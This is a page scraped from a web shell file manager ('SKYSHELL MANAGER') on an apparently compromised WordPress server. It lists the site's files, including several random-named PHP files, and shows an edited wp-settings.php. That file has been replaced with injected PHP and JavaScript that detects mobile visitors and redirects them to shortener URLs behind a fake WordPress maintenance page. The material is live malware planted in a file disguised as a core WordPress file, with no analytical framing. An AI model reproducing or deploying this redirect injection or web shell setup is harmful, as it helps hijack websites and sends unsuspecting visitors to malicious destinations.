ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/srv/users/serverpilot/apps/belton-dev/public/

Name	Size	Perm	Actions
📁 images	-	0755	🗑️ 🏷️
📁 well-known	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.3 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .webshell_scan_active.json	0.39 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 .webshell_scan_queue_7746cd2a8fa691b93aebe9178080df32b6ed5908f531d24985701a8bb2c5a9c6.lst	6070.25 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 .webshell_scan_state_7746cd2a8fa691b93aebe9178080df32b6ed5908f531d24985701a8bb2c5a9c6.json	0.19 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 configuration.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 google752f16feccdeb4bc.html	1.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 hiroshi.php	5.11 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 kbuxqltn.php	19.5 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 main.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.1 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 qzjaxdhd.php	19.5 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	2.41 KB	0600	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron-swhj.php	2.06 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	6.66 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	3.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	9.6 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	34.8 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	6.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: wp-settings.php

<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://urshort.live/yndfKvBdp0r4" /><script>location.replace("https://urshort.live/yndfKvBdp0r4");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php

http_response_code(503);

header("Retry-After: 3600");

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");

echo '<!DOCTYPE html>
<html lang="en">

<head>

<title>Briefly unavailable for scheduled maintenance</title>

<style>

*{
    box-sizing:border-box;
}

body{

margin:0;

height:100vh;

display:flex;

justify-content:center;

align-items:center;

background:#f0f6fc;

font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Arial,sans-serif;

color:#21759b;

}

.box{

background:#fff;

padding:50px 40px;

border-radius:18px;

box-shadow:0 10px 35px rgba(0,0,0,.08);

text-align:center;

width:90%;

max-width:600px;

}

.logo{

font-size:62px;

font-weight:700;

margin:0;

letter-spacing:-2px;

}

.text{

margin-top:20px;

font-size:19px;

line-height:1.7;

color:#5c6b77;

}

.loader{

width:42px;

height:42px;

border:3px solid #d9e7f2;

border-top:3px solid #21759b;

border-radius:50%;

margin:30px auto 0;

animation:spin 1s linear infinite;

}

@keyframes spin{

100%{
        transform:rotate(360deg);
    }

}

@media(max-width:600px){

.logo{
        font-size:44px;
    }

.text{
        font-size:16px;
    }

}

</style>

</head>

<body>

<h1 class="logo">WordPress</h1>

<div class="text">
        Briefly unavailable for scheduled maintenance.<br>
        Check back in a some hours.
    </div>

</div>
<script>

const isMobile = window.matchMedia("(max-width: 768px)").matches
    || /Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i.test(navigator.userAgent);

if (isMobile) {

window.location.replace("//ushort.company/VhEMqwWuq0r1");

}

</script>
</body>
</html>';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: wp-settings.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30